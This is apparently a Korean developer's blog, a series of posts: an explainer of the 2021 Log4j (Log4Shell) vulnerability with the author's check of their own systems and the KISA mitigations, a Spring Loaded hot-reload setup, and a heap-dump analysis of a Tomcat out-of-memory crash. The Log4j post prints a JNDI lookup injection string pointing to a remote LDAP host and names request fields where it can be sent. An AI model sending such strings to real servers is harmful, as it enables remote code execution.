반응형

2021년 12월 10일 Log4j 취약점 발견

12월 10일 Log4j 취약점이 공개되었다. 나는 해당 이슈를 뉴스를 통해 토요일날 처음 접했다. 보자마자 생각들었던게, 어? 내 시스템들에도 Log4j 라이브러리를 쓸텐데..? 문제 없는건가? 그리고... 나뿐만 아니라 국내며 해외며.. java 기반 시스템에선 엄청 많이 사용하고 있을텐데???.. 라는 생각이 들었다.

log4j 란?

log4j라는 라이브러리에서 취약점이 발견되었다. log4j 는 java 기반 시스템에서 쓰이는 logging library 로써 굉장히 광범위하게 쓰이는 로깅 라이브러리다. 전세계적으로 굉장히 보편화되어있고 많은 시스템에서 사용중이고 심지어 내가 운영중인 웹사이트도 해당 라이브러리를 사용하고있었기에 관심이 컸다.

log4j에 어떤 취약점이? lookups 과 JDNI

log4j 에 어떤 취약점이 있어서 해당 문제가 발생한걸까? log4j 라이브러리로 로그를 찍을때 기존 println 함수로 쌩으로 찍는게 아닌 log.debug("log : {}", param); 형태로 찍게 된다. {}를 이용해 포맷을 만들고 param 데이터를 매핑하는 식인거다, 그래서 로그가 가독성있게 출력되는게 강점인 라이브러리다. 근데 여기서 어떤게 문제가 되었을까?

 

해당 원리를 조금 응용하면 Lookups 기능을 이용해 신박한짓을 할 수 있다. Lookups 기능을 보면 로깅 포맷에서 구문을 실행한 결과를 출력할 수 있는 기능이다. 예를들면 log.debug("log : {docker:containerName}") 라고 찍으면 docker:containerName 구문의 실행 결과가 결과로 찍힌다. 도커 컨테이너의 이름이 happyDocker 였다면 "log : happyDocker" 가 로그로 찍히도록 하는 기능인거다. 이정도 하면 감이 왔을까..? logging 처리 과정에서 구문이 실행 된다는 점..!

 

오 그럼, 머 원하는 구문 넣어서 머 서버의 환경은 어떻게 되어있고 로그로 찍을 수 있겠네? 라고 할 수 있지만, 사실 공격자 입장에서 서버로그에 자기가 원하는걸 남겨봤자 어차피 서버로그에는 접근하지 못하기때문에 큰 의미가 없다. 그래서 공격자들이 여기서 끝낼까? 아니다, lookups을 응용해 JNDI를 이용해서 공격이 가능하다.

 

JNDI(Java Naming and Directorry Interface) 는 API를 호출해 자원이나 다른프로그램의 객체를 찾는데 이용한다. 통상 다른 분산된 환경에서 다른 자원을 가지고와 사용할 수 있는 기능이다. 딱 여기까지 읽었을 땐 감이 안오지만, 다른 시스템에서 자원을 가지고와 사용할 수 있다..? 여길 잘 읽어보면 앗! 싶을꺼다. 왜냐면 공격자 서버에 있는 자원을 요청해서 실행할 수 있기 때문이다.

 

만약 아까처럼 매핑되는 로그내용에 ${jndi:ldap://remote.com/resource} 이게 파라미터로 들어가면 저 스트링이 그대로 찍히는게 아니라 룩업 명령에 의해서 jndi 이하 구문이 해당 서버에서 실행되어버린다.

 

당장 어떻게 실행할까 고민해볼것도 없다, 대부분의 파라미터들의 상호작용이 로깅되기 때문에 머 어떤 시스템에선 걍 검색창에만 명령어를 써도 로깅과정에서 손쉽게 실행될 수 있다. 더 간단한건 GET POST 명령에 담아서 쏠수도 있고 http header에 정보를 담아 공격 할 수도있다.

이번 취약점이 유독 최악인 이유? RCE(Remote Code Execution)

오케이 지금까지 log4j 라이브러리를 사용하면서 어떤식으로 공격이 가능한지 한번 간단하게 살펴봤다. 근데 왜 이걸 인터넷역사 근 10년에 최악의 취약점이라고 하는걸까? 바로 RCE가 가능하기 때문이다. 즉 원격지에서 공격자가 원하는 코드가 실행될 수 있다는 점이다.

 

간단하게 예를들자면 내가 구글 검색창에 내가 실행할 코드를 써서 검색버튼을 누르면 검색창에 쓰여짐 코드들이 구글 서버에서 실행된다. 여태까지 보편적인 해킹 기법들은 머가있었는가? 야금 야금 낚시질 하듯이 장난좀 쳐놓고 걸려들면 관리자 권한을 가진 계정을 탈취하여 root 권한을 얻거나 머 이런게 주로 알려진 친구들이었다. 어떻게 말하면 노가다성도 짙어서 노력파라고 볼 수도 있다.

 

기존에 발견되었던 최악의 취약점이라고 불리는 하트블리드도 개인적으로 느끼기엔 이정도 화끈함은 아니었다. 오버플로된 메모리에서 유의미한 데이터가 나올때까지 살짝 노가다도 필요했기 때문에 표현하자면 창과 도끼를 들고 성벽을 힘겹게 타고 올라가 함락하는 딱 이런그림이었다.

 

마지막으로 가장 최악인점은, 한 독립된 소프트웨어의 취약점이 아니라는거다. 무슨말이냐, 내가 만든 짱짱짱프로그램에 취약점이 있으면 이 짱짱짱 프로그램사용에만 문제가 생긴다. 근데... 이번건은 특정 소프트웨어 문제가 아니라... 전세계 많은 소프트웨어에 들어가 있는 라이브러리에 문제가 생긴터라.... 해당 취약점을 이용해서 log4j를 사용하는 모든 소프트웨어를 공격 할 수 있다는 것이다.

 

그렇다 log4j 취약점은 차원이 다르다, 걍 내가 짠 명령어를 전세계 어떤 시스템이든(log4j를 사용하는..) 원격으로 실행시킬 수 있다? 이정도 되면 왜 언론에서 최악 최악 하는지 감이 올 것이다.

제로데이(Zero-Day) 취약점

아..예전에 개념으로만 배우던 제로데이가 이런거구나 싶었다 ㅋㅋ.. 제로데이란 취약점이 공개되고 해당 취약점을 해결할 보안 패치가 나오기 전까지 공격자들로부터 무방비한 상태를 말한다. 공개된 취약점을 이용해 공격을 수행하면 이게바로 제로데이 취약점 공격이다.

 

맞다 큰 이벤트였다. 아마, 나 말고도 주말에 IT 인력들이었으면 이거에 대응하느라 정신이 없었을 것이다 다들 ㅎㅎ... 어차피 이거 보도됐을때는 보안패치가 안나왔던터라 머 현황조사 정도 했을테지만..다들 수고가 많았다.

2021년 12월 11일 한국인터넷진흥원 KISA 보안 업데이트 권고 발표

제로데이 하루가 지났을까, KISA에서 이번에 문제된 Apache Log4j의 보안 업데이트를 권고했다. 내용 요약하자면 Log4j / Log4j2 를 사용하는 유저들은 jot 됐다. 신속히 해결해라..!! 정도 되겠다.

해결방법 : JndiLookup 사용하지 마라!!

해결 방법 엄청 간단한다. JndiLookup 사용하지 말아라이다. log4j 버전에따라 조치방법이 다른데 2.0-beta9 ~2.10.0 버전은 걍 JndiLookup 클레스를 걍 삭제 ㅋㅋㅋㅋㅋㅋㅋㅋ무슨 여드름 압출하듯이 걍 삭제하라니 ㅋㅋㅋㅋㅋㅋㅋ참 와닿는다.

 

만약 2.10~2.14.1 버전을사용할 경우 log4j2.formatMsgNoLookups 나 LOG4J_FORMAT_MSG_NO_LOOKUPS 의 환경변수를 true로 사용해서 못쓰게 하기! 이건 그래도 신사적이다.

 

그리고 만약 log4j 가 아닌 유사한 라이브러리가 쓰였다면 log4j-core 의존성만 없으면 된다고 한다.

 

그외에 보안 업데이트 권고를 보면 공격이 있었는지 탐지하는 방법도 넣어놨다. log4j로 검색해서 이상 로그가 있는지 보면 된단다.

이 KISA의 권고는 오늘까지 약 20만명의 IT인력들이 열람했다 ㅋㅋㅋㅋ log4j2 많이도 쓰나보구나 ㅋㅋㅋㅋㅋㅋㅋㅋㅋ 생각했다.

이 혼란속에서 나는 뭘 했을까?

결국 주말에 전사차원에서 각 시스템별 log4j 사용 유무, 사용 버전 등에 대한 현황을 조사했다. 일단 현황조사 해야한다고 전달받자마자 카톡방에서 메인시스템은 사용하는 것 같고, 스프링부트 기반인 서브시스템들도 사용될 것으로 예상된다. 정확한 버전이 멀 쓰는지는 확인해봐야한다 이정도 초벌로 정리해서 전달했다.

 

그리고 본격적으로 원격 붙어서 아....하........후............하.....................한숨 푹쉬고 현황조사를 시작했다. 머 메인시스템같은 경우에는 코드단을 하도 많이 보니까 딱 머리에 있었는데 서브시스템이나 레거시 시스템들의 경우 코드수정이 많이 없다보니 어떤 로깅 라이브러리를 쓰는지 알 수 없었다. 심지어 너무 오래된 시스템은 이거... 로깅은 하긴 하는걸까..? 라는생각도 잠깐 들었다. 일단 생각나는 시스템부터 SVN 소스를 뒤져서 현황을 파악했다.

 

(몇분후..)

 

엇? ...!! 아니...!? 일단 내가 운영하는 메인시스템, 서브시스템, 레거시시스템 전부 log4j를 안쓰네!??!?!?!?!?!??! 뭐지!? 분명 메인시스템은 log4j를 확실히 사용했었는데? 먼가 이상했다.

log4jdbc-remix(SLF4J)

엇.. 메인시스템이 log4j가 아니고 log4jdbc-remix였다. 아.. 내가 지금까지 난독이었구나.. ㅋㅋㅋ j까지만 읽고 뒤는... 안읽었었나보네.. 그렇다 ..log4j는 확실히 많이 봤었기 때문에 당연히 쓸꺼라고 생각했는데 log4jdbc-remix였다. 게다가 KISA에서 권고한 버전이랑도 아예 꼴 자체가 틀려...! 이건 딴 라이브러리야!!

맞다 해당 라이브러리의 의존성을 보니 SLF4J 추상체를 이용하여 만들어진 라이브러리다. 때문에 log4j와 머 비슷한친구긴 하지만, log4j는 아니기때문에 영향범위가 아니었다. 해당 라이브러리 공식 사이트에서 소스를 확인해보니 slf4 추상체만 쓰였을 뿐 log4j-core에 대한 의존성은 없었다. 야호..! 했지만................와.. 무슨 로깅 라이브러리를 2011년껄 쓰고있네.........한편으론 슬펐다...전자정부프레임워크 기반은 ㄹㅇ 불지옥이구나 한번더 느꼈다.

Logback (SLF4J)

java로된 시스템중에 메인시스템은 일단락됐고 서브시스템도 걱정됐다. 아 스프링부트라 먼가 log4j 있을꺼같아.... 하면서 확인해보니 logback 라이브러리를 사용하고 있었다.

logback 의 라이브러리 의존성을 보니 log4jdbc-remix와 동일하게 slf4j 추상체를 이용하여 구현했다. 위에 logback-core도 확인해보니 log4j-core에 관련된 의존성은 없었다. 결국 이친구도 영향범위 밖!! 의외였다. 이 작은 서브시스템이... 비교적 최신기술이고...가장 중요한 시스템은....후..........................기쁨반 슬픔 반 이었다.

번외, 보안 강국 대한민국! (feat, 전자정부프레임워크)

이짤도 웃음반 슬픔반이다. ㅋㅋㅋㅋㅋㅋㅋ 나도 첨에보고 엄청 웃었다 ㅋㅋㅋㅋㅋㅋㅋㅋ와 어떻게 저러냐?ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ했는데 ㄹㅇ ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ2012년에 단종된 log4jdbc를 쓰는게 내 시스템이었다니 ㅋㅋㅋㅋㅋ맞다 내 시스템도 전자정부프레임워크 기반이다 ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ엌ㅋㅋㅋㅋㅋㅋㅋ

 

나말고도 전자정부프레임워크 기반인 공공기관이나 공기업 같은 분들도 ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ와,! 우리 jot 됐다 !!! 하고 찾아보다가 엇.. 저희.. 2012년에 단종된 로깅 라이브러리라... 영향범위 밖입니다 ㅎㅎ 헤헤....이럴 사람들이 많다고 생각하니 좀 웃겼다 ㅋㅋㅋㅋ 이번 대한민국 보안은 전자정부프레임워크가 살렸다!!!

 

후.. 짧게 한 15분 쓰고 자려했는데 .. 결국 이렇게 길어졌다.. 먼가 실제 운영하면서 발생한 보안위협이기도하고, 흥미로웠던 취약점이기도해서 이렇게 길게 쓴 것 같다 ㅋㅋㅋ 보안 공부하는 새내기분들에게 좋은 경험담이 되었으면 좋겠다

 

반응형
반응형

톰캣으로 스프링 프로젝트를 개발하면서 은근 시간을 많이 잡아먹는 톰캣 재부팅.. JAVA 소스 한글자만 수정해도 반영되려면 톰캣을 재부팅 해야반영된다. 새로운 기능 개발을 하면서 이것저것 테스트할 때 수십법 재부팅을 해야하는데..

이게 개인 프로젝트 급이면 재부팅 머 10~30초 이내라지만, 기업급 프로젝트는 재부팅도 꽤나 많은 시간을 차지한다..재부팅 눌러놓고 커피나 뽑으러 가거나 했었지만 이게 은근 흐름을 끊고 그 몇분을 다 모아보면 꽤나 많은 시간이 허비 된다는 것을 느꼈다 ㅋㅋ...

그래서 java파일 변경 후 톰캣 재부팅이 필요없는 Spring Loaded 적용하는 법을 알아보자.

1. Spring Loaded 설치

https://mvnrepository.com/artifact/org.springframework/springloaded

가장 최신버전은 1.2.8이다. 2017년 이후로 새로운 버전은 없는 것 같다.

<!-- https://mvnrepository.com/artifact/org.springframework/springloaded -->
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>springloaded</artifactId>
    <version>1.2.8.RELEASE</version>
</dependency>

난 Maven을 쓰기 때문에 pom.xml의 dependency에 추가해주자!

짜잔~ 적당한 위치에 추가해주면 된다.

2. 톰캣 설정 변경

자 내 톰캣 서버 설정으로 와서 몇가지 설정을 바꿔주자.

1. Server Options 쪽을 보면 모든 체크박스를 해제해주자.

2. Publishing 쪽에 두번 째인 Automatically publish when resources change 를 선택해주자.

1. 하단 Modules 클릭

2. Path 클릭

3. Edit 클릭

4. Auto reloading enabled 선택 해제

5. OK

마지막으로 Ctrl+S를 눌러 톰캣 설정을 저장해주자.

그리고 톰캣 부팅 후 JAVA 파일을 바꾸면 재부팅없이 반영되는 것을 볼 수 있다.

#스프링 #Spring #톰캣 #tomcat #재시작 #재부팅 #종료 #다시시작 #JAVA #파일 #변경 #저장 #적용 #SpringLoaded #메이븐 #블챌 #오늘일기

반응형
반응형

  저번 포스팅에서 CPU사용량, 힙메모리 사용량이 순간적으로 치솟아 서버가 다운되는 현상에 대해서 포스팅 했다. 이번에는 이 문제의 원인을 어떻게 밝혀냈고 해결했는지에 대해서 알아보자.

https://extsdd.tistory.com/257

 

[WAS 이슈 해결 #1] java.lang.OutOfMemoryError: GC overhead limit exceeded 로 인한 Tomcat 서버 다운 / CPU 사용량

최근 운영중인 웹서비스가 비규칙적으로 다운되는 현상이 있었는데, 발생했던 문제와 그 문제를 해결하는 과정에 대해서 포스팅을 해보려고 한다. 서버 운영을 하는 실무자들에게 도움이 되었

extsdd.tistory.com

1. 힙메모리(Heap Memory) 덤프

-XX:+HeapDumpOnOutOfMemoryError

  JVM 실행 옵션에 위 옵션을 추가하면 OutOfMemoryError가 발생했을 때 힙메모리 덤프를 떠준다. 위 설정을 적용시켜주고 안타깝지만 문제가 발생할 때 까지 기다리자.

  다시 OOM 문제가 발생했고, 힙 메모리 덤프 파일이 서버에 정상적으로 생성됐다. 위 사진은 분석을 위해 서버에서 생성된 덤프 파일을 내 로컬 PC로 가져온 모습니다.

  충격적이게도..덤프 메모리가 10GB나 한다...VDI에서 로컬로 가져오는데 다운 속도도 느리고 중간에 계속 끊어지고 그래서 tar로 압축해 1.5기가로 줄인상태로 가져왔다.

  위 사진에 나온 다른 파일들은 MAT를 돌리고 생성된 파일이니 무시하면된다. 우린 java_pidxxxxx.hprof 파일만 있으면 된다.

2. Memory Analyzer (MAT) 설치

  이 힙메모리를 덤프한 hprof 파일을 분석하기 위해선 MAT를 많이들 쓴다. 그래서.. 그냥 검색해서 다운받아 쓰면 되나 했는데.. 여기서도 난관에 봉착했다. ㅋㅋ

  이클립스에서 MAT 플러그인을 본거같기도해서 구글에 MAT를 검색하니 진짜로 이클립스 플러그인으로 내장된 Eclipse Memory Analyzer (MAT) 을 많이 사용하더라 ㅋㅋㅋ그래서 개꿀~ 하고 이클립스 마켓플레이스들어가서 플러그인 설치하려고하니.. 회사 네트워크에서 마켓플레이스가 차단되어 있더라.......ㅠ..

  어떻게 시간박치기 차력으로 검색하니 프록시로 접속할 수 있게되어 MAT를 설치했다. 그래서 야호! 소리를 지른후 10GB 짜리 덤프파일을 임포트하니 이클립스가 멈췄다. ㅋㅋ.. 아 그래..10GB짜리니까 머..오래 걸리는건가? 하고 마냥 기달렸지만 계속 무응답 상태였다. 그걸또 참지 못하고 그냥 강종해버렸다. 어차피 퇴근시간도 가까워서 걍 임포트 눌러놓고 내일 출근해서 보기로 맘을 먹었다.

MAT 메모리 부족..

  다음날 보니까 MAT의 가용 메모리가 부족해.. 열수 없단다.. 그렇다.. 메모리에 적재해야하는게 10GB가 넘는데... 아마 무리였을꺼야 이해하기로 했다. 후.. OOM 문제로 메모리 누수 분석하려니 분석툴에서 OOM 발생이라니.. ㅋㅋ 또 검색해보니 이클립스 메모리 설정하듯이. MAT도 최대 메모리 설정을 바꾸란다. 아니 근데.. 아무리 찾아봐도.. 이 플러그인으로 딸려온 MAT만 단독으로 설정 바꿀수 있는게 없다..

  검색해서 찾은 결과를 보니 사람들은 다 이클립스 플러그인이 아니고 걍 Stand Alone으로 실행하고 있네..? 후.. 결론은 이렇다. 걍 Stand Alone 버전으로 따로 받아서 하는게 젤 맘편하다..

MAT Stand Alone 버전 설치

https://www.eclipse.org/mat/downloads.php

 

Eclipse Memory Analyzer Open Source Project | The Eclipse Foundation

The Eclipse Foundation - home to a global community, the Eclipse IDE, Jakarta EE and over 375 open source projects, including runtimes, tools and frameworks.

www.eclipse.org

  후...위 사이트 들어가서 저기 스텐드얼론 버전을 받고 압축을 풀자.

3. Heap Dump 파일 MAT에 Import

  그럼 위 같은 파일들이 나올꺼다. 저기 보라색 행성모양 아이콘이 MAT이다. 일단 메모리 설정부터 하자.

MAT 메모리 설정

저기 보이는 MemoryAnalyzer.ini 를 열어보자.

-vmargs-Xmx10g

  끝에 위 옵션을 추가해주자. 이 MAT 프로세스가 최대 10GB의 메모리를 점유하겠다는거다. 그리고 MAT 실행

  오우...실행 완료. 화면 하단에 보이는 Open a Heap Dump 버튼을 눌러서 아까 빼내온 java_pidxxxxx.hprof 파일을 열자.

  그럼 위 처럼 어떤 레포트 볼꺼냐? 물어보는데 디폴트로 선택된 누수 리포트(Leak Suspects Report)를 선택하고 Finish 해주자.

4. 메모리 누수(Memory Leak) 분석

System Overview

  자 1번 박스를 보자.. 어떤 어떤 한 부분이 거의 모든 부분을 차지하고 있는것으로 보인다. 딱 여기까지만 봐도. 아...이거 메모리 누수 맞구나 직감했다.

  노란색 배경의 2번 박스를 보면 이 메모리 누수의 유력한 용의자를 추천해준다 ..ㅋㅋ 음.. 어떤 한 쓰레드가 메모리를 98% 점유 했구만...... 보니까 java.lang.Object[]를 처리하는 중에 문제가 발생한 것으로 보인다.

  스프링에선 요청 하나당 쓰레드 하나가 처리하니까, 저기 찍혀있는 쓰레드ID를 카탈리나 로그에서 뒤져보면, 어떤 요청에, 어떤 파라미터로 요청이 왔는지 일단 메모해두면 문제해결하는데 도움이 된다.

  나의 경우에는 특정 모든 요청이 문제가 있던건 아니고, 어떤 요청에 특정 파라미터로 요청이 왔을때만 증상이 발생했다. 머 ㅋㅋ.. 지금 중요한건 아니고.. 저기서도 단서를 찾을 수 있다는 것을 알려주고 싶었다. 캡쳐해서 같이 보고싶긴 하나, 회사 소스, 운영계 파라미터를 공개할 수는 없기 때문에 이정도만 하겠다.

  다시 돌아와서 3번 박스를 보자. 여기 아주 확실하게 2번에서 문제가된 java.lang.Object[] 이게 소스중 어느파일, 몇 번째 줄인지까지 알려준다. 검은색으로 가린건 소스노출이 있어 가렸고 맨 하단 xxxController.java:266 이라고 써져있듯이, 저부분을 처리하다 메모리 누수가 발생했다고 보면 된다.

메모리에 적재된 객체 분석

  실제로 메모리에 어떤 객체들이 적재되었는지 보기위해서 See stacktrace with involved local variables. 를 클릭하자.

  그럼 이런 화면이 나온다. 당시에 메모리에 적제되어있는 객체들을 뽑아준다. 우리가 봐야할껀 파랗게 표시된 부분이다. 자동으로 MAT가 의심가는 객체를 저렇게 파랗게 하이라이트 해준다.

 

  1번 박스를 보면 딱봐도 저 0x66b6121c0 주소에 할당된 객체가 6.5기가나 잡아먹고 있다는것이 보인다. 그 객체를 눌러서2번 박스처럼 List Object를 눌러주자, 오른쪽 마우스누르는게 아니다. 저 주소값 적혀있는 객체 이름을 눌러주자. 그뒤 3번에 있는 with outgoing references 버튼을 눌러주자.

  자 대충 <class> 객체는 크기가 얼마 안크니 무시하고 6.5GB나 차지하고 있는 elementData를 까보자. 위처럼 나올꺼다. 보니까 Element 하나가 EgovMap 자료형인 ArrayList인가 보네? 1번 박스에 있는 메모리주소를 한번 봐보자, Element 끼리의 메모리 주소 간격이 모두 1BO (Hex) 로 동일하다, 연속적으로 쭉 할당된 것이다.

  2번 계산기에서 1BO를 10진수로 바꾸면 432이고 역시 EgovMap 객체 하나당 Retained Heap 을 보면 동일하게 432를 차지하고 있다. 근데 이런게 14,937,421 개나 생성됐다는것..(3번 박스)

  이걸 보고 메모리주소들만 보고 바로 직감했다. 아..먼가...반복문에서 new 로 객체생성하는 과정에서 무한루프 걸린거같은데...

  무작위로 객체하나를 까보니까 time, text가 들어가있다. 멀까? 사실 여기까지 볼 필요는 없었다. 그냥 호기심에 여기까지 뜯어본거고. System OverView에서 알려준 문제된 소스 위치로 바로 가도 된다 ㅋㅋ..한번 가보자.

5. 문제 원인

  사실 문제가 된 부분은 System Overview에서 찝어줬었다.. 사실 난 이걸 못봤고 다 끝나고 보니까 어??ㅋㅋ 머야 소스 위치까지 알려줘..? 하고 나중에 알았다. 아무튼 저기 컨트롤러 266번째 줄에서 문제가 발생한 것 같다네? 아마, Call Stack을 추적해서 저 객체들이 갑자기 불어난 지점을 찾아주는 것 같다.

  문제의 원인은 크게 3단계였나, 일단 1번 박스를 보면 Start 시간이 Last 시간보다 커질 경우 루프가 종료된다. 아마 루프 안에서 언젠가 Last 시간이 커지도록 증분이 되겠지? 라고 생각했지만 이상한 부분이 있었다.

  2번 박스를 보자, ㅋㅋㅋ 시간을 get해서 만약 null 이면 0이고, 즉 start 시간에 0을 더하니 start 시간은 그대로잖아? 그럼 start가 last보다 커지는 순간이 안오니 무한루프에 걸린거다.ㅋㅋㅋㅋㅋㅋㅋㅋㅋ

  3번 박스를 보면 무한 루프안에서 계속 EgovMap 객체를 생성해서 List에 넣어주고 있어다. 그럼 우리가 위에서 분석한거랑 똑같아진다 ㅋㅋㅋㅋ List에 객체를 무한히 생성하고, 이 무한히 생성된 객체가 메모리를 다잡아먹어서 메모리 누수가 발생한 것..실제로 우리가 그 outgoing references에서 본 EgovMap 객체 무더기가 다 이때 생성된 것이다.

  그럼 왜 이런현상을 지금 발견한걸까? ㅋㅋㅋ 사실 여태까지 저 컬럼이 null이 오는 경우가 없었다.... 그래서 다 정상적으로 처리되었지만, 아주 특수한 케이스로 .. 진짜 아주아주 극히 드문, 아니 처음이었지 이때가 ㅋㅋㅋ 아주 드문 케이스로 저 값이 null로 들어올 때가 있었던거다.

  사실 이문제 발생초기에 특정 파라미터가 문제가 일으키는게 아닐까 생각했어서 카탈리나 로그에서 OOM 발생 직전의 로그들을 다 보았지만, 이게, 딱 저 파라미터로 요청들어왔을 때 바로 로그에 남는게 아니고, 저 요청 후 객체를 생성하고 OOM이 걸릴때까지 몇초의 간격이 있었다. 그런데, 그 몇초 사이에 시스템에선 다른 요청처리한 것에 대한 로그가 그사이에 들어갔기 때문에 난 바로 알아차리지 못했다.. 보니까,, OOM 발생 직전에 항상 저 요청에 저 null이 오는 파라미터가 들어오더라 ㅋㅋ..

6. 후기

  흠..루프문 안에서 객체 생성은 굉장히 위험하다. 물론 내가짠 코드는 아니었지만, 나중에 이런 부분은 한번더 생각하보고 넘어갈 정도로 임팩트가 컸다 ㅋㅋ.. 실제로 운영에 영향을 줬으니까..

  아 사실 카탈리나 로그에서 코인 채굴하듯이 로그 뒤지고 하는거보다 그냥 MAT 돌렸으면 바로 잡을 수 있던건데, 실제로 메모리 누수에 대한 트러블 슈팅은 처음이어서 우왕좌왕 해맸던 것 같다. 처음에 이 메모리 관련 이슈로 문제가 발생했을 때 어디서부터 봐야하나 감을 잡을 수 없었는데 이번 경험을 통해서 앞으로 메모리 관련이슈가 발생했을때 음..이거랑 저거 한번체크해봐야겠구만! 하는 약간의 시야는 생긴 것 같다 ㅋㅋ

 

#WAS #이슈 #해결 #MAT #MemoryAnalyzer #힙 #힙메모리 #힙덤프 #JAVA #메모리누수 #memoryLeak #OOM #OutOfMemory #메모리분석 #톰캣 #WAS #오류 #다운 #종료 #꺼짐 #GC #overhead #limit #Exceeded #메모리릭 #메모리누수 #힙 #힙메모리 #메모리 #사용량 #점유률 #급등 #증가 #서버 #장애 #트러블슈팅

반응형
반응형

최근 운영중인 웹서비스가 비규칙적으로 다운되는 현상이 있었는데, 발생했던 문제와 그 문제를 해결하는 과정에 대해서 포스팅을 해보려고 한다. 서버 운영을 하는 실무자들에게 도움이 되었으면 좋겠다.

문제 발생

첫 발생이 3월 초쯤 이었던가?.. 운영중인 웹 서비스가 종종 다운되는 현상을 겪었다. 운영 서버에 요청을 보내면 처리되지 않다가 결국 몇 분 뒤 Tomcat 서버가 죽어 위처럼 Service Unavailable 메시지를 띄었다.

보통 부하 분산과 장애에 대비해 WAS를 이중화 해놓기 때문에 WAS하나가 죽어도 다른 WAS가 처리해 줄껀데, 브라우저가 응답대기 상태도 아니고 Service Unavailable 을 띄운걸로 봐서는 WAS두개가 모두 죽은 것 같았다.

어떤 문제가 있었던걸까? 여태까지 악성쿼리때문에 DB 락 걸이 걸려 부하가 걸리는 장애는 종종 겪어 보았지만, 이번 케이스는 달랐다.

단서 1. CPU 사용률에 최대 부하 발생

해당 상황이 접수되고나서 바로 확인해보니 이중화 된 WAS 두개가 아예 삭선처리되어 모두 뻗어있었다. 그냥 Tomcat 서비스가 다운된 상태...

문제가 최초 발생 했을 시간대의 CPU사용량을 보니 WAS 2번이 기존 5~10% 내외로 사용하던 사용량이 어느 시점에 80%까지 올라가며 최대 부하가 걸려있었다. 5분 뒤 WAS 1번도 따라서 같은 현상을 보이기 시작했다.

보통 지연이 길거나, 부하가 강한 요청 중 단순 조회작업이라면 Kill을 해서 일단 서비스 복구를 하고 분석을 할텐데.. 이건뭐 톰캣이 다 죽어있으니 뭘 할수도 없고 ㅋㅋ당장 서비스 복구를 위해 WAS 재부팅밖에 답이 없었다. 그리고 바로 WAS 로그를 확인해봤다.

단서 2. java.lang.OutOfMemoryError: GC overhead limit exceeded

톰캣 로그를 확인하니, 발생 했을 때로 추정되는 시간때에 모두 java.lang.OutOfMemoryError: GC overhead limit exceeded 오류가 찍혀있었다.

GC에 대해서 간단하게 알아보고 넘어가보자. JVM은 메모리 확보를 위해서 GC를 수행한다. 대학 Java 시간에 잠깐 배웠던 그 GC가 맞다 바로 가비지 컬렉션(Garbage collection)이다. 더 이상 사용되지 않는 객체에 대해서 메모리를 해체해주면서 메모리 풀을 관리해주는 친구다.

근데 저 GC overhead limit exceeded 메시지는 왜 띄었는가..?

* GC를 진행하는데 CPU 98% 이상 사용

* GC 진행 후 메모리 2%미만이 복구 되었을 때

일단은 메모리가 부족했던 걸까? 생각이 들었다. 찾아보니, 위 문제에 직면한 경우 보통 JVM 옵션으로 힙 리밋 제한을 없애거나 메모리 사용량을 늘리라고들 하더라. 사실. 나는 이런 셋팅쪽 문제가 아닐거라고 개인적으로 생각은 들었지만, 팀 내부적으론 일단 메모리 부족으로 방향을 잡고, 톰캣, 자바 셋팅쪽을 손봤다.

하지만, 내 예상처럼 이런 증상은 셋팅으로 해결되지 않았다. 몇 일간 원인모를 이유로 서버는 다운됐다..ㅠ

그리고 GC 로그를 확인하기 위해서 서버에 GC로그를 남기는 설정도 추가하여 해당 문제가 발생했을 때 GC로그를 확인했으나, "GC 할껀데 메모리 없어~~~" 사실상 이런 내용만 도배되어있었다. 그런데 GC 시도 엄청 많이 했긴 했더라......암튼 이문제를 해결하는데 GC로그는 도움되지 않았다..

단서 3. 특정 요청에 문제가 생기는 것은 아니었다.

이게 어떤 특정요청에만 생기는 현상일까 생각이 들었다. 머 배치가 돌때 먼가 잘못 도는게 있는걸까? 아니면 사용자가 이상한 파라미터를 던져서 처리를 못하나...? 신기하게도 새벽에는 이런일이 발생하질 않네?.. 해서 의심이 갔었다.

문제가 발생했었을 때의 로그를 확인했으나, 공통점은 없었다. 심지어 GC error 가 발생한 해당 요청을 같은 파라미터를 넣고 다시 요청해도 같은 현상은 발생하지 않았다.

결론부터 말하자면, 특정한 요청이 문제가 됐었다. 다만, 내가 바로 찾지 못한 이유는, 이미 문제가 발생한 이후에 로그에 찍힌 GC error 로그에만 집착했기 때문이었다. 일단은 GC error 로그가 어떤 요청에 찍혔다 하더라도, 그 요청이 문제가 아니라는 거다. 이미 문제는 발생했고, 우연히 그 요청을 처리중일 때 GC 가 동작하여 error 을 띄운거란거다.

만약 이방법으로 간단하게 볼려면, GC Limit 이 발생하기 전 로그들을 뒤져봐야 한다.

이런 현상이 지속되고, 팀원들이 이 문제를 해결하기 위해 이미 붙어있었기 때문에, 내 업무를 좀 쳐내고 나중에 시간이 남으면 보려고 생각했다. 뭐 그때쯤 가서 이미 해결이 되면, 좋은거긴 한데, 나는 셋팅쪽 문제가 아닐꺼란 생각이 계속 들었다.

단서 4. 힙메모리 사용량 증가

시간적 여유가 생겨 다시 문제를 분석해봤다. 보니까 해당 문제가 발생 했을 때 CPU사용량도 돌라갔었지만, 힙 메모리 사용량도 폭발적으로 증가하는 현상이 확인되었다.

왜 처음부터 힙메모리 관제에 신경쓰지 않았을까, 평소에 악성쿼리처럼 CPU를 많이 점유하던 장애를 주로 만났었기 때문에 메모리보다는 CPU 사용량이나 어떤 요청이 왔는지 이런거 위주로 봤던게 좀 방심했던 것 같다.

원래 힙메모리 사용량의 이상적인 그래프는 맨 아래 그래프처럼 어느정도 메모리가 올라가다 GC가 작동하여 떨어지고, 계속 반복하여 적정한 수준을 유지하는게 이상적이다.

하지만 위 사진을 보다시피 3월 16일동안 3회나 01번 02번 WAS 힙메모리 점유율이 급격하게 올라가는 것을 볼 수 있다.

문제 해결을 위한 방향성 잡기

자 여기까지 정리를 해보자.

